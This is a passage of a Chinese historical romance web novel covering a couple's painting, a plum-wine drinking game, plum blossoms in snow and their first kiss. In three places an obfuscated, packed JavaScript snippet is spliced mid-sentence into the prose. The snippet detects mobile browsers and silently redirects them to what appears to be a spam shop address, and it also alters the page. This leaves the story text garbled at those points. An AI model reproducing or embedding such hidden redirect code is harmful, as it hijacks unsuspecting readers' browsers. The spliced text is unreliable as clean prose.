正是她之前送的那一盆。 “我本想邀你一起看寒兰花开,”容珩惋惜,“但那时你不得空,只得作罢。” “现在看也一样。”宋予静转到画案后,挽起衣袖,“今天我来画。” “好。” 容珩走到她的身侧,手持墨锭,在砚台里细细研磨,尔后依次准备好几色颜料。 宋予静铺好画纸,接住他递来的狼毫,笔尖落在纸面,几笔勾划,一柄细长兰叶浮现。 她伸手在砚台里蘸了些许墨,即将落笔时,忽然顿住,扭头去看容珩。 “怎么了?” “既然是一起作画,你不能光站着磨墨。”她一本正经道,“不知道能否请容公子指点一二?” 容珩轻笑,反问:“那宋姑娘想要在下如何指点?” 宋予静挑眉,往他面前一伸手,“但凭容世子决定。” 容珩直接伸手,盖在她的手背,握住狼毫,手把手,一起在纸上作画。 笔尖在纸面流转,与先前不同的寒兰姿态渐渐浮现。 宋予静瞥了眼画纸,画得很漂亮,也不用她耗费多少心思,干脆转头盯着容珩。 他在认真作画,密密匝匝的睫毛半垂,隐约遮住墨玉眼眸里暗藏的莹润微光。 盯了半晌,他忽然转头,“你看这样画,好吗?” “当然。”她径直回答,压根不看案上的画,“阿珩画的都好。” 容珩卸了几分力气,改由她主握住笔,“剩下的由你来画,好吗?然后我将画装裱起来,挂在书房。” 宋予静笑盈盈地应了声好,低头认真起来,在纸上涂画。 容珩看了一会儿,见她画出一朵清幽寒兰,又继续认真画兰叶,鲜活飘逸。 他的视线不由落在两人搭在一起的手,顺着手臂往上移动。 她今日穿了身月白色的衣裳,卷起来的衣袖绣有缠枝莲暗纹,一路漫开至肩膀,悄然绽放一朵纯白睡莲。 容珩久久凝视那朵莲花,视线掠过,落在一枚圆圆的珍珠。 是他之前送给她的珍珠耳坠,垂落在耳侧,随她思考的动作,轻轻晃动。 容珩缓缓弯腰,轻轻吹出一口气,吹动那枚珍珠摇曳。 宋予静的手一顿,急忙挪开狼毫,幸好没有在画纸落下痕迹,不然这副画就要毁了。 她松了半口气:“阿珩,你在做什么?” 容珩不答,下巴靠在她的肩膀,轻轻蹭了蹭她的脸颊,感受到细腻肌肤倏忽生出热意,越发贴近,心里生出一股异常的满足感。 “静静。”他说,“我想为你画一副仕女图。” 58. 醉酒 要不……她也给容珩画一副画? 这样的念头刚冒出来,宋予静下意识捏住耳垂,光秃秃的,没有戴珍珠耳坠,手顺势往前一伸,又摸摸脸颊,依稀残留容珩轻轻蹭过的感觉。 指尖霎时摸到热意,仿佛有股温热呼吸拂过颈后肌肤,痒而烫,明明已经过去了四五天,那种奇怪的感觉依旧萦绕在心尖,久久不曾散去。 “姑娘,世子在屋里等您。” 侍女禀告的声音拉回她的思绪,宋予静摇摇头,甩掉令她心尖发颤的感觉,定了定心神,走进屋内。 一进屋,她正好听见小厮禀道:“适才三皇子派人传话,说申时正要到府里,但没说具体为了什么事。” “三殿下要来?” 容珩快步走到她的身侧,接住她解下来的斗篷,说:“大概是出宫游玩,顺道来府里坐坐。” 屋里烧着地龙,很暖和,宋予静摆手示意他不必给暖手炉,看向摆在地面的细长窄口铜壶,旁边的小案几上放了一把箭矢,没有尖锐箭镞,箭尾系着红色飘带。 “你这是打算玩投壶?” 容珩端起一杯花茶放到她手里,“是,天冷,在屋里投壶刚刚好。” 宋予静抿了口木樨花茶,入口温热清甜,捧着茶杯,继续问:“就我们两个玩吗?” 容珩反问:“不好吗?” “也不是不好,只是感觉不够热闹。”她放下茶杯,走过去抽出一根箭矢,食指缠绕飘带,“赢的人有没有什么彩头?” “你想要什么奖励?” 她松开手,转了一圈箭矢,一抹红色划过空中,“不急,我暂时没有想到。” 约定好距离,宋予静手持一枚箭,眯起眼睛瞄准壶口,把准力度往前一扔。 箭矢飞出,锵的一声,箭头直接坠入壶中,箭尾的红色飘带垂落在地。 “我投中啦!”她欢呼一声,递给容珩一柄箭,“轮到你了。” 容珩接过箭,站在她之前的位置,略一瞄准,箭矢飞入壶里。 比了两刻钟,宋予静暂时比容珩投中的箭多。 她重新抽了根箭,想了想,说:“我们换个投法。” “你说。” 她背对铜壶站定,往后转动上半身,瞥见小小的壶口,手指用力,箭矢飞中壶口边缘,没能投进。 她皱皱鼻子,“就这么比。” 容珩摸摸她的手,“别泄气,这个姿势有些难,我也不一定能投中。” “你不准放水。”她提醒,“我可不想胜之不武。” 容珩笑笑,捏住箭柄,衡量距离时,屋外忽然响起小厮的禀告:“世子,三皇子来了。” 宋予静看向屋里的更漏,还没到申时末,三皇子怎么就来了? 随即,门帘被人掀开,三皇子穿着黑色斗篷,弯腰鬼鬼祟祟地走进来。 “容世子!我从宫里偷了……” 一对上宋予静含笑的目光,三皇子脸上的笑容顿时僵住。 “殿下。”她挑眉,视线在他怀里打转,“您拿了什么好东西出宫?” 三皇子磨蹭半天,见容珩站在她的身边,一副不会帮他说话的冷漠样,慢吞吞地解开斗篷,将怀里的酒坛子放在桌上。 “梅子酒。”他老实交代,“我从文华殿里拿的。” 宋予静打量酒坛面上的暗纹,名贵华丽,估摸着是太子的珍藏。 “太子殿下知道吗?” “知道。”三皇子揭开封口,清浅酒香飘出,伴着一丝梅子香,“不管了,我今天就要喝酒。” “那你干嘛说是偷?”她凑近闻了闻,“挺香的。” 三皇子嘿嘿笑了两声,“肯定好喝,之前大哥带我喝过,就是不肯让我多喝,所以我才特意跑出来,在宫外喝,这样他就不会知道了。” “殿下,您年纪尚小。”容珩拧眉反对,“不宜饮酒过多。” “我不小了,而且这是果酒,我都没有拿烧刀子出来。”三皇子挺起胸膛,瞧见铜壶,双手一拍,“不如我们来比投壶,每轮每人拿三根箭,谁投中的最多就喝酒!平手就都没的喝。” “好啊!” 宋予静扬声答应,眼角余光瞥见容珩神情似乎不赞同,拉起他的手轻晃,“没事的,阿珩,果酒而已,况且梅子酒不烈。” 容珩眉间紧蹙,盯着她看了半晌,无奈应了声好。 “阿珩,你真好!” 猜拳定好顺序,三人依次投壶。 几轮比试下来,容珩赢的次数最多,大半坛的梅子酒都被他喝了。 宋予静赢了两回,喝了两杯梅子酒,重新站好,往前投壶。 一击即中,三次皆中。 她转头去找容珩,扬声唤道:“阿珩……” 刚说出两个字,她立即噤声。 容珩闭眼靠在椅背,头微微歪向一旁,白皙脸颊透着薄红,眉心微蹙。 “容世子这是……”三皇子压低声音,“醉了?” 她点点头表示赞同,小声道:“殿下,时候不早了,您该回宫了。” 三皇子“哦”了一声,没有反驳,转身往外走。 三皇子只喝一杯梅子酒,走路姿势平稳,还有内侍禁军随行,很安全。 宋予静叮嘱几句,送他走到屋外,叫来一名小厮,吩咐道:“你赶紧去让人煮醒酒汤,煮好了直接送过来。” 小厮应声,快步离开。 她走回屋内,站在容珩面前,弯腰轻声唤道:“阿珩……阿珩……” 容珩眉头皱得更紧,睫毛轻颤,随即缓缓睁开双眼,水光潋滟,被酒水润湿的薄唇微微勾起:“静静。” 还认得人,看来醉得不算厉害。 她略松了口气,语气放得越发柔和:“我扶你进里间休息,好吗?” “嗯。” 容珩撑住椅子扶手,慢慢起身,倏忽手臂一软,重新跌回椅子里。 宋予静连忙伸手,一手穿过他的肋下搭在后背,一手将他的手臂搭在肩膀,用尽全身力气,搀扶他往里走。 幸好容珩不是烂醉如泥,脚步略显虚浮,但还能走。 走进里间,她匆匆一扫,布置清雅,瞧见距离最近的一张榻,赶紧扶着他躺下。 卧榻不算宽,更里面还摆着一张拔步床,垂下天青色床帐,看起来,这榻大约是平时用来小憩。 宋予静拉开榻上的锦被,仔细盖在容珩身上,摸摸他的脸颊,有些烫,脸色微红。 “姑娘,醒酒汤来了。” 她立即说:“快端进来。” 仆妇将两碗醒酒汤放在榻边的案几上,躬身退了出去。 先前也喝了些酒,宋予静喝了小半碗醒酒汤,口味偏酸甜,还算可以接受。 她坐在榻边,拍拍容珩的肩膀,轻声唤道:“阿珩,醒醒,先喝点醒酒汤再睡。” 唤了两回,容珩才悠悠转醒。 扶他起身靠坐在榻上,她端起另一碗醒酒汤,递到他的唇边,继续放缓声音哄道:“可能有点酸,你喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603186|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 慢点。” 容珩点头,就着她的手刚喝了两口,瞬间扭开头,“不好喝。” 没想到他醉酒后会露出如此孩子气的一面,与往日的端方持重截然相反,宋予静此前从未见过,越发觉得有趣,忍着笑意,柔声细语地哄他:“乖,再喝两口,我给你糖吃。” 容珩转头应了声好,乖乖喝了小半碗醒酒汤后,再也不肯喝了。 她也不强求,见他仍闭着眼睛,重新扶他躺下,塞好被子四角,确保一丝冷风都吹不进去。 一时无事,时辰尚早,也不着急回家,她拉来一张矮脚圆凳,坐在榻前,手肘搭在膝上,双手托腮,望着容珩。 他的睡姿端正,双手规矩地交叠在腹部,雅致的眉目舒展,昳丽面容映着一层红晕,艳如春日桃花。 宋予静往前挪动几分,靠近细看。 看了大半晌,容珩微微蹙眉,额头冒出一层薄汗,睡得不似之前安稳。 醒酒汤开始生效了。 她抽出干净丝帕,轻柔擦拭他额头汗水,继续往下,擦过脸颊,一路擦到脖颈。 替他擦干净汗,她顺势蹲坐在榻边,单手托腮,凝望着他。 离得近,宋予静闻到他身上的酒气,混杂在清雅淡香里,被地龙烧出的热气一熏,越发浓郁。 恍惚被熏得有些头晕,她悄悄伸出食指,按在他的脸颊,轻轻一戳。 柔软的脸颊往下凹陷,指尖下的肌肤细腻顺滑。 她忍不住多按了几下。 容珩左右摇了摇头。 担心吵醒他,宋予静恋恋不舍地收回手,趴在榻边继续盯着他。 越看越近,近到清晰听见他平缓的呼吸,她恍然惊觉自己的唇距离他的脸颊不足咫尺。 视野被如白玉的肌肤遮住,往上是他英挺的鼻梁,安然阖上的眼睛,密密匝匝的睫毛像把小扇子,随呼吸微微起伏。 脸上骤然炸开一团热意,烫得她指尖发颤,猛蹿起来,胡乱往后倒退,脚后跟猛地撞在圆凳脚架,被踢翻的圆凳在地面骨碌碌滚动。 她嗷的一声蹲下抱住脚踝,急忙咽下还没得及出口的痛呼声,缩成一团,埋首在膝盖间。 宋予静啊宋予静!你难道忘了父母师长的教诲吗?!不可以乘人之危! 她用力捂住脸,掌心与脸颊一样滚烫不已,睫毛颤抖,擦过指节,又暗暗给自己鼓气,终于抬起头去看容珩。 他还在安然浅睡,完全不知道刚才差点发生的事情。 可是…… 视线不由自主地落在他白皙的脸颊,她慢慢往前挪动,再次蹲靠在榻边。 宋予静盯着他的脸,四下无声,里间仅有她和他两个人。 她咽了口唾沫,指尖微微发颤,紧紧攥住榻上的被褥,抿了抿唇,缓缓靠近。 容珩忽然翻身,由正躺变为侧躺,像是保持一个姿势睡久了不舒服。 昳丽面容霎时出现在眼前,近在咫尺,脸上热意更甚,她愣愣看着,被蛊惑般继续靠近。 “表姐!你在哪里?” 外边响起三皇子高声呼唤,脚步声重,由远及近,似乎在朝里间走来。 宋予静迅速站起来,强压下心中荒唐念头,匆匆一瞥还未醒来的容珩,逃一般离开。 外面响起刻意压低的说话声,窸窸窣窣,脚步声越来越远,最后传来屋门被关上的声音。 里间重归静谧。 躺在榻上的人慢慢睁开眼睛,墨玉眼眸里一片清明,没有丝毫醉意。 59. 折花 “殿下,你怎么又回来了?” “我落东西了。”三皇子勾起腰间的牙牌,“刚刚在屋里找到了。” “牙牌一定要收好。”宋予静压低声音,“我们去外面,不要吵到阿珩休息。” “好。” 屋外寒风凛凛,被冷风迎面一吹,脸颊的热意终于消退几分。 “表姐。”三皇子好奇地问,“你的脸好红。” 眼前再次浮现容珩的昳丽脸庞,宋予静一本正经地胡说:“之前不是喝了梅子酒吗?脸红很正常。” “但是……” “殿下。”她算了算时间和距离,错开话题,“你刚才是不是没有直接回宫,又去哪里闲逛了?” 三皇子瞬间闭嘴,半晌后,嗫嚅开口:“我就去买了糖炒栗子,都乖乖带着禁军。” 宋予静也不是不准人在闲暇时游玩,叮嘱道:“玩可以,但不要被冻得感染风寒了。” 三皇子乖巧应下,随即领着禁军再次离开。 宋予静送他到府门外,见他的确往皇宫方向走,放心几分,往回走了几步,瞥见公主府停在前面的马车,脚步一顿。 要不……现在回家? 她抬头望天,估摸现在才过未时正,时辰还早,回家也没有什么要忙。 但容珩还在歇息,留在镇国公府好像也没什么意思。 “姑娘,外面冷,还请快些进来。”侍女跨过门槛,“世子此前吩咐奴婢等做了些甜口的糕点,都在厨房热着,姑娘,您看想到哪里用?” “就在世子院。”宋予静顿了顿,“阿珩醒了吗?” “回姑娘。”侍女低头道,“奴婢刚才不在世子院,并不清楚。” 她“哦”了一声,不着急回世子院,沿着游廊往前走,漫步走进花园,寒风迎面,夹杂一股馥郁芬芳。 宋予静嗅了嗅,顺着香气来源,往前探寻。 沿着园中小径走到假山前,香气越发浓,她绕过假山,眼前豁然开朗,烈焰般的火红映入眼帘。 是一片梅林。 重瓣单瓣的红梅尽数盛开,灰褐色的枝干还落有白雪,花却开得更旺盛,馥郁香气四处飘散。 她捏住一枝梅花,红色花瓣缀有细粒雪花,红白相映,自成一惊,又轻轻呼出一口气,薄雪被热气熏化成水,晶莹剔透,将落未落。 宋予静松开手,梅枝颤抖,雪水自花瓣坠落。 梅林里的地面落满白雪,唯独林中小径扫得干净,正好漫步林间。 她侧身躲过梅枝,目光在四周来回巡视,偶尔凑近细看,选来选去,最后选中一节梅花最多的枝丫。 小心折下梅枝,她循着来时的路,急匆匆奔回世子院。 一进院,她立即问:“阿珩醒了吗?” 小厮守在正屋外,恭声禀道:“世子已经醒了,还在里间。” 心中一喜,宋予静连忙走进里间,看见倚榻而坐的容珩,将红梅捧到他的面前,“阿珩,你看!红梅花开了!上面还有白雪……” 话音刚落,她看见花瓣尖的雪花融化成水,滴落在地,双肩霎时一垮。 “雪化掉了。” 她往后倒退两步,坐在圆凳上,紧紧抓住梅枝。 “不开心?”容珩下榻,在她身边落座,握住她的手,“屋里是比较暖和,雪太少了,的确容易融化,不如我让人多搬点雪进来?” “你在说什么呀?”宋予静听得一惊,“哪有人会搬雪进屋里,那得多冷啊。” “只要你开心就好。” 她把梅花摆在他的眼前,解释:“我想让你看红梅映雪,刚刚我在花园里闲逛,看到一片梅林,就让你也一起看红梅白雪。” “没有白雪,有红梅也一样。”容珩说,“那片梅林刚开不久,没那么快凋谢,往后还有机会。” “嗯。”她往里间四周看看,“我想找个花瓶。” 容珩起身走到里间外,不过片刻,他走回来,手里拿着一个细口长颈白色花瓶。 宋予静仔细将红梅插入瓶中,摆弄几下,“放哪比较好?” 容珩接过花瓶,放在榻边的小案几上,平时闲坐,随意抬眸便能一眼看见。 她捧住他递来的温热花茶,直到此时才想起来问:“那片梅林可以折花吗?” “可以。”容珩信手折下一朵梅花,举在她的面前,“我说过,静静,无论是在府里,还是在我的面前,你想做什么都可以。” 宋予静微微一怔,盯着夹在指间的红梅,抬眸看向他,视线不由自主地落在他的脸颊。 盯着看了半晌,她别扭地转头,“你……现在感觉还好吗?头还晕吗?我看你喝了不少梅子酒。” “还好,酒已经解了。” 容珩抬起手,落在她的发髻,再收回来时,指间已空。 她伸手往头顶一摸,果然摸到红梅微湿的花瓣。 “是你喂我喝的醒酒汤。”他语气肯定,“辛苦了,我喝醉后是不是很麻烦?” “不辛苦,”宋予静笑笑,“而且你很乖的,我没有费什么力气,不过你以后可能要少喝点酒,你也太容易醉了。” 容珩深深地看了她一眼,轻笑应声:“好,我答应你。” “明明之前请你喝桂酿还不会这样,难道是今日的梅子酒酿得比较浓?”她想了想,“我就喝了两杯,没感觉出明显区别。” “宫里的酒是浓一些,往后在宫宴上,你尽量少饮酒。” “嗯。” 容珩眉间笑意更浓,弯腰从火盆边拿起一个橘子,剥掉橙黄色外皮,露出橘红色果肉,细心捻去白色橘络,掰下一块果肉,递到她的唇边。 “听说拿火炉烤过的橘子味道有所不同,你尝尝?” 宋予静低头一咬。 橘肉烤得温热,入口并不觉得冷,咬开厚,果汁盈满口中,酸中带甜,又带了点苦涩和焦味。 她慢慢咀嚼,努力咽下去。 “不好吃?” “还好。”她揉揉腮帮子,“不能说难吃,但味道是和正常橘子不一样。” 容珩从桌上拿起一颗新鲜橘子,重新剥好,“还是吃新鲜的为好。” 宋予静一口咬下一瓣,手也不闲着,从盘子里取了颗橘子。 吃完一整颗橘子,她也剥掉橘子皮,刚掰下一瓣橘肉,嘴角忽然被人轻轻按住。 柔软的指腹按在唇边,温柔和缓地擦过,停在嘴角,来回几次,蓦然生出点点酥麻。 容珩的手指搭在下巴,久了,指尖暖意慢慢袭来,那一片肌肤似乎变烫。 “沾到橘子汁了。” 她呆呆应了声,竟下意识抿了抿唇,舌尖舔过唇瓣,尝到一股剥了橘子皮才会有的苦味。 容珩的脸上浮现一抹愣怔。 意识逐渐回笼,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627412|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应过来自己刚才做了什么后,宋予静看了眼他的指尖,隐约有些濡湿,猛地捂住脸,手里的橘子掉落在地。 她、她在干什么啊?! 视野里一片黑暗,睫毛颤动不已,擦过指节,有些痒,却不及唇上的痒意。 双手忽然被人轻轻握住,不失力度地拉开,容珩的脸出现在视野里。 他离得很近,近到她依稀闻到他身上的清雅淡香,伴着温热气息,轻缓袭来。 偏偏他还要再靠近几分,捧住她的脸,温柔笑笑:“静静,你的脸为何这么红?” “我……我……” “别怕。”他柔声开口,近似诱惑,“你想做什么都可以。” 宋予静怔怔地望着他。 从未有过的复杂滚烫情绪在心底蔓延开来,缠绕在心尖,轻轻发颤,那个念头再度冒出来。 她慢慢抬起手。 “世子,长公主府的宋公子来了,正在外面等候,说是来接宋姑娘回家。” 听见里间外小厮恭敬的禀告,宋予静猛然惊醒,立即站起来,硬生生地压下莫名心绪。 容珩保持原来的姿势不变,屋里的光线变暗,又低着头,面容隐在一片阴影之中,晦暗不明。 “阿珩?”她犹豫开口,“哥哥来了,我要回家了。” 容珩站起来,面带微笑:“我送你到府门。” 他的笑容温和,看上去似乎与往常无异,她一边应了声好,一边忍不住多看他几眼。 “怎么了?”容珩拿起斗篷,披在她身后,系好系带,再戴好兜帽,“天冷,不可大意。” 宋予静点点头,牵着他的手往外走。 快走到府门口,她遥遥望见兄长的身影,不由扬起声音唤了句哥哥,习惯性往前跑了两步,却被人拉住。 “天快黑了。”容珩微笑解释,“跑得太快容易摔跤。” “也对。”她慢下脚步,走到府门前,“哥哥,你怎么来了?” “我去了趟钦天监,准备回家。”宋归鸿的视线停在两人牵在一起的手,“顺道来这里接你。” “顺道”二字说得格外重。 从钦天监回公主府,好像不用经过镇国公府? 宋予静偷瞄兄长的神情,理智地没有问出来,说:“阿珩,那我和哥哥回家了,明天再来找你。” “好。” 容珩松开她的手,在宋归鸿不善的目光中,泰然自若,扶着她坐进马车里。 宋归鸿冷哼一声,随即坐进去。 马车缓缓往前走。 宋予静揣着暖手炉,见兄长还盯着自己,不由问:“哥,你干嘛一直这么看着我?” “没事。” 宋归鸿冷冷地蹦出两个字,抱着手臂不说话了。 她想了想,勾起兄长的衣袖,“哥哥,你不要不开心嘛,实在不行,我明天……明天……” 结结巴巴地憋了半晌,她还是没能说出明天不去镇国公府的话。 “行啦。”宋归鸿抬手往她的额头轻轻一敲,“我还不知道你在想什么,只是现在看那小子有点不爽,又不是真的反对你们两个。” 宋予静瞬间松了口气:“哥哥真好。” “不过,”宋归鸿又补充道,“容佩之要是敢欺负你,绝对不能忍气吞声。” 容珩才不会欺负她呢,她想,但瞅瞅自家兄长的神情,乖乖应了声好。 60. 紧张 回到公主府,兄妹二人陪着父母用了晚膳。 “静儿,”庆阳长公主唤道,“跟我过来。” 宋予静起身,跟着走进里间,接住母亲递来的礼单,满腹狐疑看完,问:“娘,这是什么?” “年前送去镇国公府的节礼单子。”庆阳长公主说,“你看看,还有什么要添置的,加上去,一并送去国公府。” “这样啊。”她再看一遍礼单,合上交还给母亲,“阿娘安排好的肯定没问题,再说了,无论送什么,阿珩都会喜欢。” “你这傻孩子。”庆阳长公主无奈摇头,“你光记着佩之那孩子了,是不是忘了国公府还有一位国公,以及那些公子姑娘?” 呃……她好像还真的忘了。 除了那次特意被镇国公叫住说话,后来她去了几次镇国公府,都直接去找容珩,也没有遇见其他人。 宋予静挠挠脸颊,迅速反思:“母亲说的对,既然是以公主府的名义送节礼,涉及两府,应该要考虑周全,不宜有所疏漏。” “不错。”庆阳长公主颔首赞同,“但你若是有私心,想多送些节礼给佩之,也不无不可。” 她重新接住礼单,摇头拒绝:“算了,这些都是礼节性的礼物,还是按明面规矩来,我私下里再准备更好的礼物给阿珩。” 庆阳长公主笑了笑,并未多言,与她闲聊几句过年前的安排,便让她回去休息。 一夜好眠。 宋予静悠悠转醒,被窝暖洋洋的,如果不是因为要去找容珩,她一点都不想离开温暖的被窝。 磨蹭了半晌,她披起床头的外袍,掩嘴打了个哈欠,拉开帐帘。 外边天光大亮,她被刺眼的光芒照得眯起眼睛,适应之后,朝里间外喊了一声。 尔后,冬雪领着侍女,端着巾帕、铜盆等鱼贯而入。 她一边用温热的毛巾盖住眼睛,一边问:“什么时辰了?” “快到午时初了。” “什么?!”宋予静手一抖,毛巾啪的一声掉落在地,“居然这么晚了吗?!” 她和容珩约好的时辰是巳时正,现在足足过了半个时辰,她才刚起床。 “是,奴婢见姑娘睡得熟,没敢打扰。”冬雪弯腰捡起毛巾,“姑娘,您等会儿想用午膳还是早膳?” “都行。”她随口回答,抓抓长发,想起昨晚好像是忘记叮嘱冬雪叫醒她了,急声吩咐,“赶紧派人去镇国公府说一声,我迟点再到。” 急匆匆梳洗打扮,宋予静匆匆喝了半碗粥,匆忙坐马车赶往镇国公府。 一下马车,她看见容珩站在门口,提起裙摆跑上去,“阿珩,对不起,我迟到了,等很久了吗?” “不久,我也是刚到。” 守在旁边的门房不可思议地瞪大双眼,随即深深低垂脑袋。 宋予静狐疑打量他一番,摸摸他的手,不冷,估摸着没有吹到冷风,安心不少,随他一起往前走。 “是有什么事情耽搁了吗?”容珩问,“你派来的人只说你会迟点到。” “呃……”她往两边看看,零星站着几名小厮侍女,不得不示意他弯腰,附在他的耳边,压低声音解释,“因为我睡过头了。” 容珩微微一愣,随即点点笑意染上眉梢。 “不准笑话我!”宋予静恶狠狠地警告一句,语气又弱了几分,“天气这么冷,干嘛要早起,在暖和的被窝里躺着简直不要太舒服了。” “嗯,你说的对。”容珩抬手伸向她的头顶,“发簪歪了。” 她顺势摸了摸发髻,赶得太急,是有点乱。 “不过要来见你,再冷我也能早起。”宋予静继续辩解,“今天是特殊情况。” 容珩眼中笑意更深,像是想起什么,笑意散去大半,“你用了早膳吗?” 她摸摸肚子,如实回答:“喝了几口粥。” “那我们先去用午膳。” 一起床便慌里慌张地忙个不停,镇国公府的厨子手艺又特别好,午膳全是她喜欢吃的,更别说容珩还不停给她夹菜。 用完一顿午膳,宋予静不出意外地吃撑了。 她轻缓地揉揉肚子,不敢刚吃完饭就坐着,慢悠悠在屋里打转,身后忽然被人披上一件斗篷,再一看,容珩也穿着一件黑色缎面斗篷。 “出太阳了,风也不大,去外面散散步,好吗?” “好!” 天空瓦蓝,万里无云,圆圆的暖日高高挂在空中,金色阳光倾洒,暖意阵阵。 宋予静牵住他的手,沿着游廊走进花园,顺着园中小径闲散漫步,拐过假山,一片褐色枝干出现在眼前,上面落了白雪。 “这些桃树好像长得不错,明年肯定满树繁盛桃花。” 容珩应道:“嗯,到时候你如果喜欢,我陪你来看。” 视线一转,停在那一片还未来得及清扫的白雪,她立即松开他的手,跑了过去。 皑皑白雪堆了厚厚一层,零星散落几节短树枝,还没有来得及清扫。 宋予静直接捧起一把白雪,揉成一团,在雪面滚动,逐渐滚成一个大雪球。 雪冷,不过片刻,手便被冻得红彤彤,她搓搓双手,呼出热气,稍微暖和一些,眼角余光瞥见蹲在旁边的容珩,她转换眼睛,猛地伸手捧住他的脸颊。 冷热相接,容珩浑身一激灵,没有躲开,反而抓起她的手,捧在手心里轻缓揉搓,不停呼气。 呼吸的热意吹拂在指尖,驱散冷意,宋予静连忙抽手,“我还没堆好雪狮,等会儿还是会变冷的。” “你喜欢玩雪?”容珩放缓声音,“太冷了,容易被冻伤。” “我打算堆个小雪狮。”她动作不停,“难得见到这么大的雪。” 旁边斜伸出来一双手,修白如玉,比雪更好看,接过刚刚成型的小雪团,在地面滚成一个长形大雪团。 “我来帮你。” 宋予静笑盈盈应了声好,找了个不妨碍走路的位置,示意他放好大雪团,将雪球堆上去,又捏了两个小雪球扮做耳朵。 摆正位置后,她捡起两粒小石子,塞进雪里,当做狮子眼睛,手指一划,勉强画出嘴巴。 她托住下巴,仔细看眼前的雪狮,勉强能看出来像狮子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13659200|131837||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,叹道:“还是没能做成宫里雪狮的模样。” “已经很好了。”容珩宽慰她,“宫里的雪狮是很多名工匠花费不少时日堆出来,不必跟他们比。” 宋予静自然明白这个道理,更享受堆雪狮的过程,何况还有他陪伴,当即笑笑:“我知道。” 她站起来,与容珩一起往前走。 “江南冬日也会下雪。”容珩握住她的手,温暖的掌心驱散残留冷意,“你往年也会在外面玩雪?” “江南那边的雪没有京城这么大,”她单手比了个距离,“我从来见过雪能厚到膝盖。” “京城的确比江南冷些。” “可惜只有我们两个人,不然就能打雪仗了。”灵光一现,她兴奋建议,“要不你什么时候抽空去我家,我、哥哥还有你,一起打雪仗,好不好?” 容珩脚步一顿,“如果真打起雪仗,你帮我还是帮令兄?” 昨日宋归鸿提起他时的愤然模样霎时浮现在脑海里,她犹豫一瞬,说:“当然是分成三派了,各看各的本事。” 容珩轻轻一笑。 走着走着,宋予静闻到熟悉的馥郁香气,往前一看,又走到了梅林。 昨天没能让他看到红梅映雪,她立即在梅林里仔细寻找,压住一枝红梅,红色花瓣上白雪点点。 “阿珩,你看!” 容珩靠近,停在一指的距离,以免白雪被呼出的热气吹化。 红梅花开,艳如烈焰,香气袭人,衬得他的面容平添几分艳丽。 宋予静盯着他看了半晌,忽然松开梅枝,往前扑到他的跟前,双手搭在他的肩膀,无意识攥紧衣裳,揪得那片衣裳皱成一团。 容珩张开斗篷,将她完全包裹,不被寒风侵袭,问:“怎么了?” 他的怀抱很温暖,她直盯着他,咽了口唾沫,昨日两次被人打断的念头再度冒出来:“我想亲你,可以吗?” 容珩微微一愣,体贴地低头靠近,清润嗓音越发柔和:“可以,当然可以,你想对我做什么都行。” 姿容昳丽,眉眼雅致,莹润如同墨玉的眼眸蕴着光。 是独属于她的郎君。 这样的念头一冒出来,宋予静的指尖轻轻发颤,不敢眨眼,注视他的眼眸,慢慢靠近,嘴唇飞快擦过脸颊,趁他还未反应过来,往下一分,轻轻压在薄唇。 一触即离。 他的唇很软,压上去的时候,仿佛压在一朵最柔软的云,飘着清雅淡香的云,混有周围馥郁梅香,越发令人沉迷。 脸腾的一下热得不行,热意汹涌,四处蔓延,烫得她心尖发颤,脑海更晕,脚下一时无力,往后倒退两步。 腰间倏忽一紧,她被拉回去,还比之前更近几分。 她眨眨眼睛,仰头看向容珩。 他低着头,午间的阳光正好,穿过疏落梅枝,在昳丽脸庞落下斑驳枝影,眼眸深邃,泛着她看不懂的微光。 “阿珩?” 容珩不答,单手揽住她的腰,又轻轻捧住她的脸,拇指轻柔抚过她的唇。 “静静,你说的亲……只是这样?” 61. 亲吻 “对呀!” 宋予静脸色通红,视线掠过他的唇,飞快亲了下另一边的脸颊。 她脸上的红晕又浓了一分,眼瞳明亮澄净,蕴满笑意,染上眉梢,仿佛占足了便宜。 容珩微微抬起她的下巴,拇指指腹按住她的唇,轻缓来回摩挲。 虽然没有涂抹口脂,依然娇嫩如同春日盛开的桃花,擦过嘴唇时,恍若桃花在春风的吹拂下,轻柔飘落。 他低头靠近,抵在她的额头,手往旁边偏移,捧住她的脸,依稀在她眼中看见自己的模样。 只有他一人。 “阿……阿珩……”她结结巴巴地开口,“你……你要做……什么?” 容珩轻轻一笑。 “静静……” 唇被温热的柔软触感覆盖,宋予静紧紧揪住他的衣裳,指尖无意识抠弄上面的绣纹。 清雅淡香萦绕在鼻间,逐渐变浓,她半阖眼帘,微扬起头,倚靠在他的怀里。 